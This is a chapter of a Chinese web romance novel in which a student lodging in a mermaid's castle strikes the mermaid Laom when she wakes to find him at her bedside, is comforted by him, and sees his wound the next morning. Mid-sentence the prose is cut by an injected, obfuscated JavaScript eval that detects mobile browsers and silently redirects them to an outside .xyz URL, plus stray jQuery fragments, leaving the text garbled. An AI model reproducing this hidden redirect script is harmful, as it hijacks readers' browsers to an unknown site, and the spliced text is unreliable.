4. 04
作品:《人鱼的情歌》 通往阳台的门没关紧,开着一条缝,海风吹进来,将垂顺的白色纱帘吹得飘起,珍珠帘也碰撞轻响。
房间里多了一股潮湿的水汽。
李乐游才睡下去不久,忽然被一种难以忽视的视线给盯醒了,她眯缝着眼,看到床边坐着一个黑影。
外面的月光朦胧,她只隐约察觉那好像是个男人的影子,因为很大只。
问:如果一个单身女性晚上醒来发现有个陌生男子坐在床边盯着自己,并且距离很近,会怎么做?
李乐游当然是瞬间一个激灵,抄起床头柜上随便一个装饰用的重物,往凑近自己的人脑袋上来了一下。
重物和脑袋碰撞的声音很清晰,听得出来她这一下打得不轻,当她惊魂未定地瞪大眼时,有带着腥气的湿润液体溅在了她的脸颊上。
淡淡的锈味和水腥味一起渗透进鼻腔。
李乐游躺在床上,手里还拿着那个金属装饰天鹅,心脏咚咚跳得快要冲出胸腔。
惊吓和后怕中,她意识到自己床边这个人,很有可能是这个城堡的主人,美人鱼拉欧姆先生。
虽然她很想理直气壮地怒斥对方半夜摸到自己房间里吓人的不正当性,但这里不是她讲法制的老家,而且她现在作为一个没人权的实验体,还在人家的手下讨生活,性命都还没有保障,谈其他的就有点奢侈了。
基于求生的本能,李乐游松开那只金属天鹅,强行挤出一个笑,张口就要疯狂道歉——
对不起对不起老大我刚睡糊涂了不是故意要打你的要不你打回来吧别杀我!
坐在床边的人比她先开口了,他说:“是你吗,李乐游?”
“对不……啊?对对对,是我。”李乐游心想,他还特地去找苏薇奶奶问了我名字吗,突然夜袭也是某种面试的一环吗?
“对不起真的对不起,我刚刚……”李乐游边道歉,边试图从床上坐起来,想要去够床边的台灯开关。
她的手没碰到开关,先被另一只手抓住了。
那只手异常冰凉,完全包裹着她的手,并且拉着她的手贴到了一张同样冰冷的脸上。
李乐游僵在原地,后背一层寒毛齐齐起立。
因为她的手被迫贴在拉欧姆的脸颊和手掌之间,他的脸还在她的手心里摩挲。
他脸颊上不断缓缓流下那种腥气的液体,浸润进李乐游的手掌手指缝隙里,黏腻地随着他的动作涂抹。
李乐游能感觉到手掌下滑腻的皮肤,摸上去一点皱纹都没有,高挺的鼻梁和睫毛都在她掌心划蹭,以及对方鼻子里轻轻的吐息都喷在她手心里。
啊!!!这是在干嘛!在干嘛!
李乐游简直要尖叫了,是是是,她是说过只要能活下去干啥都行,但是一上来就……啊,这到底要干嘛?
伤口,对,伤口要不先去处理一下?
要不先开个灯?
我先道歉?先认识一下?我先看清楚你长什么样,我再做下心理准备?
李乐游脑子那一团浆糊里游着五千只大喊大叫的鸭子,被牵着的那只手从手指到手臂都发麻,靠在床头柜上陷入半身不遂的死机状态。
“你是真的,你在呼吸,你的心跳很快……是你回来了。”拉欧姆又说。
比起刚才喊她名字的暗哑,这一句声音更加清澈,听得李乐游腿一弹。
该说不说,美人鱼在声音好听这方面是有种族优势的。
“如果是你,为什么不说话?”
“啊,我……”李乐游拼命想,自己现在该说点什么,求饶吗?还是自我介绍?
拼命转动脑筋的人类吞吞吐吐没决定好回答选项,贴着她掌心轻柔说话的人鱼突然语气一转:
“你真是个骗子……你这个骗子,你不是答应过我吗?你答应过我,你在骗我……我以为你在骗我,你为什么没有骗我,你回来了,可你为什么来得这么迟……”
李乐游不敢说话了。
面前这个人鱼的语言系统好像有那么一点诡异,这个逻辑前后都不通顺。
“你是个骗子,我真恨你。”
他的语气逐渐疯癫,而且哭了出来。
“我再也不会爱你了,我不爱你了,我已经忘记你了。”
李乐游还被按在他脸上的手,触摸到了从他眼眶里溢出来的液体,这次是灼热的,冲淡了血液的滑腻感。
李乐游差点也陪着他一起哭了。
现在她要怎么演,是进入替身环节了吧?直接恨海情天吗?
“你、你别哭了。”李乐游求饶。
不停喃喃说恨她的人鱼将脸埋在她手里,又突兀发出一阵带着哭腔的笑:“你是在害怕吗,看到我这个样子,感到害怕吗?”
李乐游:“那个,我其实也没看清你什么样子。”
“那你告诉我,你还记得我的模样吗。”
如果真的长得很花园里那个雕塑一样,那她应该是记得的。
“记得吧。”李乐游心虚。
他于是又发出一声听起来就很命苦的笑:“你真是个骗子,你不记得我了,否则为什么不来找我。”
李乐游:“……”
从前看电视剧,那些痴男怨女吵架的时候都喜欢说车轱辘废话,相同意思的话来回说,好像坏掉了一样,怎么都说不清楚。
果然来源于生活。
“李乐游,为什么不来见我?你不是知道我在等你吗?”
李乐游真的很痛苦,老大你现在应该是走的替身剧情吧,这种时候对着昔日恋人熟悉的脸,你不叫你爱人的名字,喊演员的真名,很容易紧张出戏的!
她想着生命诚可贵,继续接话说:“我是,有点害怕,哈,哈哈。”
干笑完她就想给自己一下,这种时候干嘛要干笑来缓解尴尬。
她的手终于被放开了。
上面已经糊满了血和泪。
想把手缩回被子里,又怕把血蹭到被单上。
坐在床边的拉欧姆又离她更近了一点,朝她弯腰时,李乐游几乎感觉自己要被他笼罩起来。
她往后退,被枕头嵌进去。
拉欧姆只是伸手去擦她脸上快要干掉的几滴血迹,停下那种几乎要崩溃的抽泣,声音一时轻得像外面的海浪:“我真的吓到你了吗?”
“是有一点。”李乐游缩着脖子客气说。
“那很好,你就应该害怕,被吓到哭出来,被吓到喊我的名字,然后……”
我就会放过你,温柔地怜爱你,将你抱在怀里诉说我的思念,就像我们过去那样。
李乐游感觉他擦在自己脸上的手指,力道一下轻一下重的,就好像他的语气,一下温柔一下恨,那叫一个具象化的爱恨交织。
她现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505335|170459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在是真的有点怕,人鱼应该不吃人吧?好后悔白天没和苏薇奶奶多打听点关于人鱼的事。
因为压力过大,都没注意到自己眼泪飙了出来。
在她脸上乱摸的人先发现了她的眼泪。这点湿润令人鱼沉默,忽然变成黑暗中一块不语的礁石。
李乐游哽咽:“对不起,我道歉行不行?”
我很怕死的,别吓唬我,不然真的嘎巴一下就死了,当代大学生很脆皮的。
那只手重重擦了一下她的眼角,忽然往后穿过她的后颈,像拾起一朵花那样,把她整个托了起来。
李乐游还在努力地不让鼻涕水失态地流下来,脸颊已经被迫贴到了拉欧姆的胸口。
他把她抱在怀里,手臂圈着她,低头亲吻她发顶时,凉丝丝的头发蹭过她的耳朵。
“mi la tuo nuo ya…wushu me …”他说了句很长很长,听不懂的话。
但就算听不懂,也能感觉到声音里溺死人的软和。
手掌在她后背上轻轻拍打——就有点像小时候她妈抱着她哄她睡觉。
李乐游怀疑神秘的人鱼语里放了安眠药,因为没听他说两句,她就感到一阵无法抵抗的困意上涌,比上高中最纯困的那年还要困。
眼泪还在眼眶里,她脑袋一歪直接昏睡过去。
梦乡忽然变成海,波浪成为她的摇篮,有一阵飘渺的歌声从海面之下传来,一双苍白的手臂从她身后环绕着她,如同水母的触肢,拉着她往下沉去。
她掉进一个巨大的彩色海螺里,海螺又变成透明的,像孔雀翎一样颜色的鱼尾从海螺上游过……
……
“昨天晚上那个,不会是梦吧?”
李乐游一脸呆滞地坐在床上,看一眼外面灿烂的阳光,又反复看自己的手,干干净净,连指甲缝里都没有血渍。
被子和枕头也雪白蓬松,床头柜上的金属天鹅亮亮地立在原地。
如果昨天晚上,她真在这里给了拉欧姆一下,应该会像凶案现场一样,不至于这么干净吧?
李乐游怀疑地打量四周,忽然趴到地上,伸手往床底掏摸。
连这种卫生死角都没看到血渍,甚至没有灰尘。
“嘶……我真在做梦吗?可是好真实啊。”
她嘀嘀咕咕,潦草地收拾了一下自己,仍然穿着苏薇奶奶赞助的复古风长裙和拖鞋,打开门下楼。
抓着楼梯扶手往下走时,她还在想昨晚的事,走到楼下准备和前两天一样穿过小客厅去厨房时,眼角余光发现客厅好像有哪里不对劲。
一扭头,之前一直空旷无人的客厅里多了个活物。
三米长的暗绿色沙发上坐着一个人。
没注意到的时候还好,一旦看见他,目光就好像被打了自动追踪,死活挪不开。
白衬衫,修身西裤,最简约的版型衬托出最完美的身材。
那个侧脸,比花园的人鱼雕塑更加不真实。
用墨绿丝带系着的暗蓝绿色头发,让这个人的美貌显得复古又高级,更有种妖冶的神秘感。
李乐游呆滞地和这个男人对视,目光停在他额头上那个显眼的伤口。
不是梦,那是我打出来的。
“睡的好吗?你快要错过早餐时间了,先去吃点东西吧。”沙发上坐着的古典油画美男朝她走过来。